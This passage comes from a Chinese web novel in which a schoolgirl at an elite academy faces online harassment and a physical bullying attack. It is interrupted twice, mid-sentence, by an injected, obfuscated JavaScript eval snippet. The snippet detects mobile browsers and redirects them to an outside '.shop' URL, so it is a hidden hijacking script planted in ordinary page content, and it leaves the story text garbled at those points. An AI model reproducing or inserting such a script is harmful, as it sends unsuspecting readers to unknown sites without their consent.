她使用了新的笔记软件,采用markdown语法和导图结合形式,初步整理了一遍,又断断续续将之前考试的错题搬了上去,同步各端后才安心地边写起功课边刷新了会儿邮箱。 邮箱里收到了学生会群发的音乐剧剧目表和她用的笔记软件memo的新版本内测码。 季殊下载了剧目表浏览了一遍,敲定了几个语种为英文、背景故事线简单的剧目,又网页登录memo的内测下载。 软件的开发者似乎是个新人,她之前在软件市场买断使用后提了一些建议,对方便一直用邮件和她沟通改进的细节,这次又送了她新版本的内测码和其它一些配套项目。 季殊写邮件回复感谢的话后,对方又秒回过来自己的网站开发者界面和line联系方式,说是希望能跟她保持沟通。 有点推销的感觉。 为了表示礼貌,季殊还是添加了一下他的line。再一刷新,那边就通过了,对方很殷勤地打包丢过来好几个独立项目并发送了一份详细使用说明。 季殊还没来得及解压zip,手机就收到了不少新的好友申请通知。 她有些惊讶。 ……其中居然还有谢周霖的好友申请。 对方的头像还是初始灰色,如果不是令人瞠目结舌的关注数摆在那里,她差点就要以为是别人冒充的小号。 她滑了通过,还在打字问好的时候,那边就将似乎早已准备好的消息传输过来。 【世界音乐鉴赏排演选好之后可以直接在这边上报,邮箱我不一定时时能看见。如果还没有选择,我也可以发给你截至目前为止小组排表统计以供参考。】 季殊不觉出了口气。 谢周霖没有提及别的。 只是她看了眼时间,已经十二点半了。原本她都已经准备睡觉,但是这个点学生会首席都在兢兢业业工作,她没有晾下人家的理由,于是整理了自己的备选剧目发送过去。 谢周霖很快就她准备的几个剧目发送了具体的剧场巡回播放时间表和班上报名的成员表,还告诉了她图书馆年鉴区域的开放时间。 准备细致得当,季殊有些感激。 她发送了感谢的贴纸,又回了句【工作辛苦了】。 对方过了会儿才显示“已读”,没再继续回复。 季殊陆续通过其它好友申请,这之中不少是看了论坛上的帖子摸到她的lineID过来的,好多人直言不讳她胆量大,还有体育社团的人邀请她加入躲避球俱乐部,但都被她一一回绝。 今天下午音乐鉴赏课的女生也在其中。 她是C校区的体育特招生,名叫岑萱,刚入学不久就被选入田径国家队,训练之余也会尝试一些喜欢的项目,躲避球恰好是其中之一。她兴高采烈地邀请季殊加入她组织的躲避球训练队,给她画下届校运会躲避球金奖的大饼。 季殊拒绝:【抱歉,其实我对躲避球项目不感兴趣。】 她不敢说那个视频里的前因后果,只是回答的确实也是实话。女生失落地发送来小狗哭泣的贴纸。 回绝完女生的请求之后,季殊心念一转,打开了校园论坛。 弗兰德的校园论坛只有弗兰德的学生才可以进入,ID就是每个人的学号,是一串独一无二的数字,只有从自己和管理人的后台才可以看到,即使从弗兰德毕业后也会跟随终生,因此论坛不存在水军或者是小号刷帖的可能。 一进入网页,首页飘红的帖子就刺得季殊眼睛有些痛。 【小公爵在食堂被不知名胆大包天特招生泼了一杯酒!?有图有目击】 季殊一看日期,已经是去年的事了,看起来当时闹得沸沸扬扬,帖子被回复了一千多楼,最近不知怎么又被顶上来了。 她点进帖子里的照片。只看见了那个女生倔强站着的背影,身量比她高出几个头的陆明熙靠在椅子上,叠着腿仰着下颌看向她,几个穿着制服的跟班仓惶为他擦拭衣服上的酒渍。人群围成一圈,人多与人少形成鲜明比对,似乎女生与全世界为敌一般。 后面又有人陆陆续续传上来女生的正脸照。 季殊往下滑着回帖。 【得罪了小公爵,这下她惨咯】 【这年头还用这么老土的接近方法,她是傻子吗?特招生也想靠近公爵世家,她有几条命拿来攀?】 【脸倒还算清纯,就是心思不老实】 季殊不想看这些东西。她一连翻过十几页,最后直接跳页,不知何时,随着时间的流逝,回帖的风格一变。 【报!今天也看见江兆明给那个特招生送花了,还是老样子,名贵得不得了的露水玫瑰看都没看被她扔进了垃圾桶!】 【去年真是打死都没想到这一天,还真让她给攀上了。那天在食堂泼酒的怎么就不是我呢/咬牙】 【白日做梦,这么多年小公爵也就那天去过一次食堂,还恰好就撞上了她】 【头一次看见小公爵追人这么上心吧?每个月雷打不动一束空运鲜切玫瑰,甚至把人家的背景过去翻出来,知道她曾经被霸凌就替她出气……】 季殊忽然感觉有些呼吸不畅,她不想再看。 如果这就是男女主角的爱情故事,那她就是他们道路上的助推剂。男主需要通过折磨她以示对女主的衷心,才能赢得女主的芳心。 ……多么可笑。她痛苦的回忆和过去,竟然成了别人校园罗曼史的一部分。说不定毕业季还会登记在年鉴表上,得到全校上下的祝福。 季殊退出帖子。 接着往下滑,后面的热帖大多是关于首席的。诸如谢周霖又拿了某数学竞赛金奖、市网球比赛前三或是钢琴大赛第一名云云,倒是看不见有他的绯闻花边。 帖子里的回复也大多感叹他是怪物。 【疯了吧,他到底还有什么不擅长的领域吗?竞赛体育艺术5a面板全面发展,上帝到底给他关了哪扇窗!?】 【最近民主党选举风头好盛,电视里经常能看见他妈妈的演讲。可惜我还没成年,没有选举权】 【我妈妈在议会。她虽然没具体说,但是话里的意思是反正下届民主党党魁当选毋庸置疑了】 除此之外的热帖便是关于剩下两位首席的了。 ——池耀星和他的姐姐池念星。 池念星比其余人都大上一届,在高一时便决定走艺术生道路,二年级去国外交换做了模特,代言了好几个高奢品牌,Lotus也和她合作过。她年纪轻轻已经登上过几个顶级时尚杂志封面,目前在南半球的莱伊斯发展,准备朝着时尚界的更高领域进军。 相比起这位国际模特的万众瞩目,池家其余人可谓是一脉相承的低调。 他们的母亲是现任兰顿国安局局长,负责国家重大信息安全相关事务。父亲则是IT界崭露头角的新兴公司的创始人之一,主要方向研究人工智能与ai大语言模型相关,随着技术的迅猛发展,短短几年时间身价已跻身排行榜上游。二人都鲜少出现在报纸头版上,出行消息也很少得到报道。 即便如此,与东海岸的百年老钱公爵世家相比,这家也是当下兰顿国最瞩目的新贵阶层。 或许是继承了父母的低调,身为首席的池耀星平日里在学校中也是神龙见首不见尾,很少出现在各种头条偷拍当中,即便出于学校宣传需要也没怎么露出过全脸。 整个论坛竟然都找不到他的一张全脸照片。 【问了跟他同班的朋友,都说池耀星神出鬼没的,平时也不怎么来上课,来了也是趴着睡觉,根本看不到脸,也不跟别人说话。但是缺勤了这么多课,成绩竟然意外的不错】 【也不是谁都跟小公爵一样连考试都翘的。】 【成绩不错有什么用,这位听说目无王法。之前把一个想趁他睡觉的时候拿走帽子看看模样的男生的手腕拧骨折了,在家里休息了几天就回来上课,什么惩罚也没有,反而对方退学了。】 【那不是那个人活该?】 【听说长得很吓人,脸上有以前打架的时候留下的刀疤呢,难怪不爱露脸】 【可惜,或许真的只有等到毕业季,才能在年鉴表上一睹池耀星的真容吧。】 季殊又翻了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959693|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 页,还有一些问选课和求音乐鉴赏剧组组队的帖子。她翻到第五页才看见岑萱说的躲避球视频帖。 视频是无声,拍的也很模糊,大概是内容太令人惊吓,热度还算不错。楼层短短几天也爬了五六页,大多是一些惊叹和善意的询问。 季殊尽管在陆明熙的授意下被霸凌了一段时间,但范围并不算大,此刻全校认识她的人也不算很多。即使有人回帖贴出她的lineID,也没有透露其它过多的信息。 季殊松了一口气。 但是这口气还没出完,她一刷新,立刻多了一条新的回帖。 季殊才一看清内容,立刻脑袋嗡的一声,头晕目眩起来。 【这女生我认识啊!我们班的,就是之前惹了小公爵的那个,说是个初中干过不少坏事的贱人,现在是我们班的沙包哈哈哈】 她呼吸急促,冷汗淋漓,整个人眼前发昏,差点拿不稳手机。 季殊不是没有面对过辱骂,但是她头一次直观地在网络上看见不加掩饰的恶意。 她清楚网络的力量。这条消息被发出去,一旦帖子被顶上来,就会有更多人好奇地询问,事态立刻会演变成腥风血雨。论坛是校园级别的,事情扩散后,针对她的霸凌很快会从班级范围转化成校园。 季殊呼吸了几口气,尝试稳住自己慌乱的手。 她点进这条回帖的层主的主页,想要联系对方能否删除这条留言。但不知对方是惯犯还是什么,设置了禁止陌生者私信功能。 季殊退出去,就这么短短不到一分钟时间,肇事者又幸灾乐祸地回帖。 【怎么惹的小公爵?这个说来话长。正好那个标红的泼酒帖子最近又被顶上去了,不过关注点好像不在她身上。大家想知道的话等我去那个帖子里详细贴一下事情经过】 季殊仓促从帖子里退出,跳回首页,点进泼酒帖。 如果这件事真的被扩散出去……那才是真的完了,她会比原剧情更早地迎来死亡的结局。而一切仅仅是因为她回击了欺负自己的人。 季殊眼前几乎发黑。 她急切地跳转到泼酒贴末页刷新。她清楚自己会即将迎来怎样的指认,但是莫名的,她无法不亲自确认这样煎熬时刻的到来。 刷新、再刷新。 然而,下一秒。 ——404notfound. 季殊一愣。 ……发生了什么? 她重新加载网页论坛,这个洋洋洒洒盖了一千多楼的帖子确确实实消失不见了。 没有任何征兆。 她来不及思考,退出页面,点进躲避球视频贴。 第二个404notfound。 季殊怔了几秒钟,在回过神之前,点进之前留言者的账号主页。一刷新,头像成了灰蒙蒙的裂开人像,主页所有发帖留言失踪。 【该账号用户已被注销。】 就像一滴水一样,所有有关她的事情,被蒸发在了这个论坛上。 季殊呆呆地坐回椅子上。尽管劫后余生的浪潮席卷着她,但她仍未从这场尚未开始就死在摇篮中的危机中回过神来。 网页因为停留在404页面自动退出到论坛首页。飘红帖子的缺失似乎并没有引起其他人的注意,更多帖子被顶了上来,校园论坛依旧一片热闹非凡。 很快,手机传来“叮咚”一声。 浅黄色暖煦的台灯下,许久未点击触控板的Mac屏幕逐渐暗下,手机屏幕亮起。 季殊动了动仍旧僵硬的手指,下意识拿起手机,滑开line页面。 这次并不是小公爵心血来潮的命令或是吩咐。 而是之前被她晾了很久的开发者。 他从发过来zip后便一直等待着她的回话,期待她的反馈和沟通,等了几小时,见她似乎连文件都忘记下载后才终于忍不住发了条信息。 和邮件中只能用文字沟通不同,line大概是太过于像面对面的交谈。顶上“对方正在打字输入中”显示了半天,那边最后还是只发过来一个小猫探头的动态贴纸。 +_+:【在忙吗?.jpg】 11. 011. 季殊平复了一会儿心情,才缓慢打字。 【不好意思,今天可能来不及看了。】 那边回得很快。 +_+:【没关系.jpg】 他好像只会用贴纸交流一般,除此之外便没有其他的话说。 季殊于是收拾一下准备睡觉。 不巧的是,白天睡够的小公爵这会儿精力十足。置顶的消息框弹出一条新消息。 02:30 【针对白天错误的道歉,我要看见诚意。】 ……诚意?陆明熙想看见什么诚意? 季殊绞尽脑汁,最后还是认命地从被子里爬出来,坐到桌前,打开Mac,写起了检讨书。 一二段大肆赞扬了公爵世家的煊赫及历史悠久,三四段深刻反省自己初中犯下的错误,表达愧疚之心,并表示以后绝不再犯,最后一段则简明扼要总结了一下主旨:以后会以小公爵的命令是从,深表诚挚与衷心。 写完小作文之后,已经接近三点半了。 因为困得神志不清,她不小心把原本要发给陆明熙的文档发送给了季存,还好秒撤了回来。过了好几分钟,陆明熙那边才显示已读。 但只回复了个“已阅”。 季殊摸不清对方的心意,有些忐忑不安。她不清楚这算不算是有诚意的举动,只是因为几近通宵的熬夜加上连日不去的低烧,嗓子有点发哑,头也隐隐作痛。 她昏昏沉沉地站起身,去柜子里翻出那天校医开的感冒药,准备下楼去冲一杯。 她轻手轻脚地打开门,朝着楼梯走。 忽然,她停住了脚步。 从季南林掩着的书房门缝里透出些亮光,传出两个人谈话的声音。 “……这样不好吧,留小殊一个人在家里。你如果出差又十天半个月不回来的话,家里冷冷清清的,小殊多孤单啊……” 是何瑛犹犹豫豫的声音。 “就是我常不在家才不放心你住在这里。我在市郊安置的别墅已经叫了两个保姆和一个司机,距离最近的医院车程只有不到二十分钟,那边环境好,适合你养胎。留你和她两个人在家,我都不知道会发生什么。” 季南林压低了声音,语气里的笃定不容拒绝。 何瑛的声音弱下来:“小殊她不是那种孩子。这么多年,我跟她的关系虽然没有什么进展,但是她也绝对不会做出什么害我的事情……” 季南林似乎被气笑了,他的声线收紧,声音里压抑着愠怒:“我的孩子我最了解!你跟她相处才几年?我从小看着她长大,那孩子以前就是个阴晴不定的疯子!你知道她前几天在学校里惹出来的事情吗——不说最近,就是以前,那孩子的妈妈当年离开的时候,她一滴眼泪都没有掉……” 那门缝间透出的冰冷的光似乎随着他低声的控诉在震颤一般。说到最后,他的气焰逐渐消失,语气里只剩下无尽的失望与冷漠, “我是已经放弃那个孩子了。她的成绩一般,更学不会长袖善舞。当年费尽心思将她送进弗兰德,至今也没给我带来什么回馈……以后的路,我也不可能给她援助,就看她自己的造化吧。” 季殊回过神来的时候,已经摇摇晃晃回了自己的房间。 她转身把门合上,一瞬间,忽然感觉到极大的窒息感拉扯着自己,将自己向下拖去。她有些难以呼吸,困意早就消散,而头疼也被胸口处的绞痛麻痹。 这是原主残留的情感吗?季殊一时间有些无法分清。 因为她们是如此相似,看见她,季殊就好像看见了自己一般。而原主的未来,似乎也就是她的未来。 季殊急促地用鼻子呼吸了几口气,她把来不及冲药的空水杯放在桌上,走进卫生间,捧了把冷水洗脸,试图在外力的借助下消解自己痛苦的情绪。 她抬起头,看着镜子中的自己。苍白的脸庞,尖尖的下巴,黑幽幽的一双眼睛。脸颊和额头边的碎发黏在几乎透明的皮肤上,透出下方青紫色的脉络。冰冷的水滴一滴滴顺着脸庞向下划去。 从容貌上来说,根本就不像的两张脸,气质却惊人的相似。 手机“叮咚”一声铃声提示让她强制抽离。 季殊眨了一下眼睛,水滴从浓密纤长的睫毛上滑落。 她离开卫生间,走到书桌边拿起手机。 是季存的回信。 刚才在她离开房间的时候,他看见她撤回的消息,便回了一条过来。见她迟迟未回,他又发了条。 【怎么了?】 03:59 【你那边现在是凌晨吧。还没睡吗?】 倒是没再像上次那个问号一般冷淡。 季殊脑海里对这个只存在于设定里的哥哥毫无印象,她原本只是推测他性格冷漠、和原主的关系很差,没想到他倒也会关心自己这个远在大洋另一端的妹妹。 她捏着手机,正想着该如何回复的时候,“对方正在打字输入中…”持续一了段时间,季存发过来一条新消息。 【你在学校里,被人欺负了吗?】 季殊停下了打字的手。 消息很快变成绿色的已读,即使是想假装没看见这条消息也不可能。 季殊不知道季存是从何推测这个结论的。难道他看见了她刚才不小心发错的消息?可是她是秒撤,他只要不是盯着消息,是不会有机会查看那个只标注着“检讨书”的文档的。 他只是从“检讨书”这三个字里推测的吗? 季殊不得而知。她只是沉默着,在键盘页面停留了很久,最后才一个字母一个字母、缓慢地敲着。 【没有。】 她说,【我很好。】 那边过了五六分钟才回复她。 【早点睡。】 季殊无声地“嗯”了一声。 浅黄色的台灯一直亮着,窗外的黑夜如墨般浓得化不开,随着指针滴答滴答地走,夜幕逐渐褪去,直至黎明熹微。 季殊静静坐到天明。 - 次日,季殊一早就收拾好东西。 她坐在餐桌边一边吃早餐,一边打开电视看早间外语新闻。声音不大,但是何瑛拖着行李箱出来的时候还是忍不住被吓了一跳。 “小殊……今天起得真早。”何瑛莫名有些心虚,她眼神闪烁地笑了笑,一边的司机戴着手套接过行李箱搬运出门。 季殊的回答不冷不淡:“嗯。” 何瑛讨了个没趣,有点尴尬,还是解释道:“你爸给我订了疗养院来养胎,所以从今天开始我可能不在家里住了,大概等到年底才能回来。” “好。” “你爸可能也要出去跑生意,不会经常在家。这段时间就辛苦小殊你一个人了……” 她的话还没有说完,季殊就站起来,拉开椅子。摩擦发出尖锐短促的一声。 季殊擦了擦唇角,面无表情。 “我吃完了。”她说着边往外走去,一旁带着书包的保姆疾步跟上。 季殊在何瑛之前出门,路过她时没有转头,只说了句:“路上平安。” 何瑛愣愣的,还没有回过神来,就看见女生的身影进了停在独栋门口的高档轿车。 车窗缓缓升起,她的面庞消失在视野中。 而在车厢内,季殊脸色很差。尽管没有几分睡意,但她头疼欲裂,身上低烧难退,一点点侵蚀着她的免疫力。 她从书包里摸出止痛药,就着温水服下,到弗兰德时恰好得到了些许缓解,面色好了些。 只不过到班级时,季殊本能地感觉到今天陆明熙心情似乎并不是很好。 他面色冷漠地玩着手机,对旁边跟班的献殷勤没有搭理一声。 季殊轻手轻脚走到自己的座位边,还没来得及坐下,便得到了他新的命令。 只是这次,他没有发信息,也没有亲自开口,反而让那群跟班代为转达,让她去校园便利店买他需要的东西。 便利店离得不算远,跑得快点儿一来一回不过十分钟。而让众人不明白的是,这平时算是小公爵那群亲近的跟班的跑腿任务,今天不知道怎么落到了她的头上。 而且,很快有人发现,季殊跑腿的频率太高了。 他们并不是把需要的东西列给她,而是一次次地使唤她去便利店,等到她回来才说买错了东西,支使她再去。 而陆明熙则显得对此漠不关心,连她买回来的东西都没有经手。 短短一个上午,季殊跑了不下十趟便利店。 她沉默的身影在走廊上孤单地穿梭着,一上午下来,几乎旁边班级的人都认识她了,有些好奇又惊愕她怪异的行为。 好不容易上午的课结束了,季殊收拾着书包准备去食堂,一个身影再次落在她的课桌前。 “喂,你的东西买错了,”一个跟班男生笑嘻嘻地堵住她,“小公爵要的是红酒味的pocky,不是巧克力味的。重新去买。” 他看见季殊站在课桌前没动,抬腿踹了踹她的桌子,不耐烦地催促道,“别等午休了,现在就去!” 今天是周五,这周的最后一个在校工作日。等今天结束,她就可以休息了。 季殊低着头,模糊地说了声“知道了”,转身就昏沉出了门。 陆明熙看着那道身影离开教室,才面色不明地放下手机。 谢周霖安排好值日工作,背上书包缓步走过来,神情冷淡,眼神带着些司空见惯:“公爵昨晚找你了?” 陆明熙眼皮都懒得掀。他烦躁地靠着椅子,长腿高高叠在桌上,把手机甩给谢周霖看。 谢周霖拿起手机,看见他和公爵在line的对话框。他翻了几页,退了出来,瞥见他的另一个置顶。 备注是一个简简单单的“季”字,对面发过来一个文档,陆明熙最后回的消息是一条【已阅】。 谢周霖不动声色地退回他和公爵的谈话页面,把手机还给陆明熙。 “你看见她的态度了吧?”陆明熙向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959694|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来充满戏谑的眼神中多了烦闷和憋屈,下颌紧绷着,“她根本就没过给我商量的余地。” 谢周霖:“让你参加寿诞会场的布置是好事,起码公爵在重视你。” 陆明熙冷笑一声:“她哪里是重视我。她是还要通过我和Lotus那边沟通——没看见她跟程安渝都两个月没说话了,把我叫回家,好找个由头和程家缓和一下关系,引导引导媒体的舆论。” 谢周霖下颌点了点:“你既然都知道。” “即使知道——”陆明熙踹开桌子,眼中燃烧起一上午隐忍不发怒火,压低声音,挤出一句话, “那么多年的视而不见,我也没办法忽略。” 谢周霖不紧不慢地偏头示意,一边几乎被吓傻了的几个男生立刻惶恐上前,把歪了的桌子复回原位。 “公爵的做法没有问题,陆程两家和好,受益最大的是你。她是为了你的未来考虑,”谢周霖说,“抹平你脚下的路,就是她的目的。” “你知道开学前她曾拜托我在学校照看着你,可以看出她仍旧在意你。只是她要处理的东西太多,即便如此,你是唯一的爵位继承人,不管她的态度如何,这是无法改变的事实。”谢周霖伸手敲敲桌面, “你很清楚这一点,不是吗?” 陆明熙一怔,默了会儿,气消了小半。 他歪头,斜瞥了他眼,笑几声:“你也会说这种话了?” “总要说点实话,”谢周霖摘下眼镜,准备离开教室,“否则不知还有多少无辜的人被你的怒气波及。” “……”陆明熙站了一会儿才反应过来他的话里所指,难以置信道,“你觉得我是在迁怒季殊?” 谢周霖不置可否。他午餐后还有不少学生会的工作等待处理,于是径直往外走去,没回答他的话。 陆明熙气得三两步迈近:“为我跑腿是多少人抢着做的事,求都求不来,你没看见那群人羡慕她的眼神吗!——当然,我承认,她写的检讨书处处踩了我的雷,让我的昨晚的心情更差……” 谢周霖当作没听见,边看着手表边在脑海中统筹下午的工作内容,朝前走去,把陆明熙的声音远远甩在脑后。 同班男生这时却忽然气喘吁吁地出现在楼梯尽头拐角。 他手里拿着什么,朝这边跑来,一边大声喊道:“小……小公爵——小公爵!!” 他像一阵风似的跑过谢周霖,大汗淋漓地奔到班级门口,扒着门框大口喘气。 陆明熙停住脚步,拉开几步距离,嫌弃地皱眉问道:“怎么了?” “季殊她……”男生气喘不上来,“她不见了!!” 陆明熙愣了愣,眼神中的怒意被浮起的几分兴味覆盖。他挑着一边眉梢,勾起唇角,“怎么,她终于忍受不了了,跑了?” 几个跟班的男生也跟过来,有些小心翼翼地提出疑问:“不应该啊,她有胆量这么做吗?” “她的东西还留在教室里,怎么会偷偷提前溜走?” “她有几个胆子敢放小公爵的鸽子?” 那个男生却有些惊恐道:“不、不是!” 他伸出手,摊开掌心。 那是一盒摔瘪了角的红酒味pocky,和一部手机。 陆明熙认得这部手机。没有手机壳和屏保,只设了一个复杂的数字密码。 他会给手机的主人发送消息,看着她为了执行自己的命令忙得团团转。乐此不疲。 男生擦了擦汗,语无伦次说道:“我刚从食堂回来不久,正好顺路看见她从便利店出来,还没进电梯,就在拐角的楼道被几个女生带走,东西也掉在地上……等我跑过去捡起来的时候,她们的影子就都不见了。我一路跑了好几层楼梯都没瞧见那几个人,所以先来找您……” 走在最前的谢周霖不觉停下脚步。 他蹙着眉,莫名觉得有点心烦意乱。 原本已经规划好的下午安排,又被她打乱妨碍。他只得考虑摈弃原来的计划,重新规划午后工作任务。 只是在那之前。 他听见身后片刻的沉默之后,传来的有些不合时宜的、不屑的怒笑声。 “……哈。” 空气都紧绷了起来。 紧随其后的,是阴沉的问句。 “江兆明他人呢?” 几个跟班很明显瞬间慌了神,支支吾吾道:“刚刚去C区特招生班级那边送东西去了,应、应该快回来了……” “等他回来,叫他带几个人从顶楼开始往下搜。” 声音森冷。 谢周霖转身,看见小公爵眼神变暗了。他压低的眉间积攒着沉积未发的怒气,唇角噙着阴冷的笑意,越过他身边,朝前走去。 后面的跟班汗流浃背地跟上,一声不敢吭。 “真想看看,是谁不长眼正好撞上我这枪口,”不屑的、从喉咙传出的傲慢的嗤笑伴随着脚步声消失在走廊尽头, “……居然敢动我的东西。” 12. 012. 季殊被几个女生拖进了六楼尽头的女卫生间里。 她原本就发着低烧、浑身发软,手脚都使不上劲儿,被几个人钳制着几乎是拖行离开。 她们反锁了厕所门,按着季殊的肩膀,迫使她跪在地上。 左右的两个女生季殊面熟,似乎是同班的,只不过叫不出名字,她们脸上带着快意的神情,扣着季殊的手用力不大,指甲却掐进季殊的肩膀里。 为首的女生则有些陌生,她烫着波浪,妆容打理得很是精致,做着美甲的手指在屏幕上敲了两下,将手机凑近下唇发送语音道:“放心,已经办好了。我办事你还不放心……” 她说着,懒洋洋地垂眸瞥了眼地上的季殊,兴致缺缺地移开目光,专心致志欣赏起自己的指甲,“没问题,你想拍几张都行,不过你之前答应好我的事可不许忘了……” 季殊垂着身体,咳嗽几声,黑发在耳边晃动。 卷发女生有些许厌烦,她收了手机,对着那几个人使了个眼神,她们立刻心领神会,拽着季殊往盥洗拖把的水池边拖去。 季殊想使出劲儿去挣扎,手臂却软绵绵的,动作的幅度反而让她的咳嗽剧烈起来。几个人压着她的头往水池里摁去,季殊呛了几口水,险些喘不上气来。 大概是嫌弃她吵,女生有些烦躁地看了眼时间,靠在墙角,从包里摸出袋烟来,低头圈着火苗点燃。她蹙着眉毛抽了口,眉头这才缓缓舒展,挥挥手道:“行了。” 几个人停手,季殊扶在水池边胸口起伏、脸色煞白地喘气。 烟雾在卫生间袅袅升起,刺目的白炽灯灯光落下,地砖上反射出寒冷的光线。季殊头发湿了透,水顺着脸颊和发丝朝下淋,上衣制服很快又湿又冷地黏在了身上。 女生抬手点了间卫生间,不耐烦道:“把她关进去,我们拍张照就走吧。” 季殊于是被推进了厕所中,女生从包里掏出口红,扯了张纸写了些什么,拍进季殊手里,拍照的闪光灯亮起。很快,门被关上,外面传来重物拖行抵门的声音,脚步声远去。 季殊缓了几分钟才觉得能重新呼吸上来。她甩了甩头,想使劲让自己清醒一点,但每一次呼出的热气都烫得她皮肤发麻,四肢关节也要命地酸疼起来。 那张纸上用时兴色号的口红写着“霸凌犯”三个字。 季殊又觉得呼吸困难了起来,眼前阵阵发黑。 ……不行,不能就这么坐以待毙。 季殊站起身,尝试拍门喊人求助,但嗓子又沙又哑,根本发不出多大的声音。 六楼走廊尽头的卫生间鲜少有人来,基本是作清洁和存放杂物的用处。 季殊停止了浪费体力的举动。她放下马桶盖,坐了下来,为了避免着凉,又将外套脱了下来,挂在旁边的挂钩上,费劲地拧头发上的水。 体温还是在一点点攀升。 她很快感觉自己耳根发烧。温度顺着脖子往上升去,肺部又痒又灼烧,她身体一歪,靠着挡板咳嗽起来。 湿黏的衬衫软趴趴地粘在身上,紧扣的扣子勒得她几乎呼吸不畅。季殊终于难受地蹲下,神志不清地开始沉重呼吸着,一边解着衬衫扣子。 ‘等到衣服晾干再穿回来,那时候差不多正好是放学时间,等清洁来了卫生间就可以发现她。’ 季殊原本是这么想的。 但是模糊中,她似乎隐隐约约听见六楼有什么动静传来。 杂乱的脚步声,质询声,说话声。噼里啪啦交织在一起,季殊什么也听不清。 “呼……呼……” 季殊喘着气,仍旧难以抑制蔓延的热气,甚至解开纽扣的手指都变得不听使唤起来。 她甚至有几分窒息感地尝试张开嘴喘气,突如其来的困意袭击了她,直到她狠狠咬了咬下唇,让自己清醒几分。 随着痛意一同而来的是破门声和惊慌失措的叫声。 “小、小公爵,这是女厕!” “啧。你说在这里,是哪一间?快滚进去把她带出来。” “——是、是!!” 传来拨门的“喀哒”声,很快,亮光涌现在灰暗的隔间里。季殊有几分不适应地眯了眯眼,伸手挡住眼睛,朝外望去。 好像空气都凝滞了几秒钟。 她看见陆明熙就离着她不远,隔着两道门,站在卫生间的门口。 他看向她时似乎有些意料之外和猝不及防,睁大了眼睛,随即耳根浮起淡淡的薄红,但恼怒更快地覆盖在他的眼神中。 他侧身,高大的身形挡住身后几名跟班的视线,抬手压住自己的面颊,偏过脸,边冷声对那女生骂道:“你他——愣着干什么,瞎了吗!?把你的外套脱下来给她!” 开门的正是方才的波浪头女生。她似乎前脚才离开不久就被陆明熙的人逮住,脸上的妆有点被蹭花,没有丝毫方才的从容,咬着嘴唇,屈辱又畏惧地脱下自己的制服外套,递给季殊。 季殊没力气开口。她接过干燥的外套,披在自己身上,撑着门板才勉强站起来。 那张有些浸湿的纸飘落在地板上,被季殊踩过。 季殊看也没看一眼,步子有些晃地朝外走去。 站在门口的身影走过来。陆明熙看着她的样子,面色不快,似乎是有些许不忍,伸出手,想扶她一把。 ——但却被她推开。 女生的面色很冷。耳廓和眼白都烧得通红,眼睫被压得抬不起来,但嘴唇和锁骨依旧泛着青白的冷意。 她面无表情地撞开他的手,声音沙哑道: “让开。” 陆明熙一愣。 她已经走了几步出去,瘦弱的身形伶仃可怜。 他下意识忘记发火,皱紧眉头,跟了上去: “你要去哪里?——你状态这么差,不去医务室?还是要找那几个关你的人?我刚才过来的时候已经找到了,你——” 季殊打断他的话:“不关你的事。” 她的声音又低又哑,头也没回。 “哈?”陆明熙不解又气愤,两大步迈上前去抓住她的手腕,将她扯回过身。 “你什么毛病,季殊?” 陆明熙俯下身靠近她,眯着眼睛,压低声反问道,“我救了你,你不感激就算了,这是什么态度?” “……”季殊抬了抬眼睫,瞥了他眼。 少年身上的戾气未散,但稍微敛了些怒意,狭长漂亮的眼睛直勾勾地凝视着她。 “这不就是你想要的结果吗?”季殊笑了声,问道。 “……?” “是你带起的这个头、纵容的那些人。不管是昨晚还是今天的事,追根溯源,始作俑者不都是你吗?” 她的声音像是从胸腔中传来。往常躲闪的眼神这次却一反常态、毫不畏惧地对上他的眼睛,尽管发红,眼瞳却在这一刻亮得吓人。那里充满了生生的愤怒、怨恨。 “满意了吗,小公爵?” 陆明熙呼吸一滞。 她贴得极近,呼吸间烫得吓人的热气喷在他的鼻息之间,让他心脏一跳。熟悉的心悸久违地缠绕上来,他难以抑制再度回想起杂物间的那场撕咬。她撕扯着他的脖子,拳拳到肉,隐藏在沉默之下如火山一般的愤怒与鲜活的情感几乎吞没他。 “你……” 他难得地错愕顿住了,钳制着她的手掌一松,被她瞄准时机挣脱。 眼瞳里汹涌的憎恨一瞬褪去,黑瞳沉沉,死寂无波,好像那只是他的错觉一般。 季殊转身就走。 陆明熙在原地反应了十几秒钟,才抬步跟上去,紧跟不离, “你刚才的话是什么意思——你难不成以为今天的事是我授意的?还有昨天,发生了什么?” 季殊没再理他。 她疲惫至极,不想再管那些事。反正何瑛现在也离开了,她只想能得到好好、长久的休息。 她下楼,径直拐进了教务处。 陆明熙紧跟而上,抬腿就要进去,被从门口出来的谢周霖拦住。 他的面色亦变得不虞,镜面下鸦黑的睫毛倏忽抬起,冰冷地扫视一眼有些焦急的小公爵,抬手挡下他的去向。 “你又对她做了什么?” 陆明熙刹在门口,被他的话气笑了:“你看见了她……你也觉得是我做的?” “不一定是你亲自动手。”谢周霖简短地说。 陆明熙别过脸,吸了几口气,眼神转一圈回来,才举起双手,投降道:“我错了、我错了,你让我先进去,可以吗?” 谢周霖的眼神却越过他的肩膀,看向他身后。 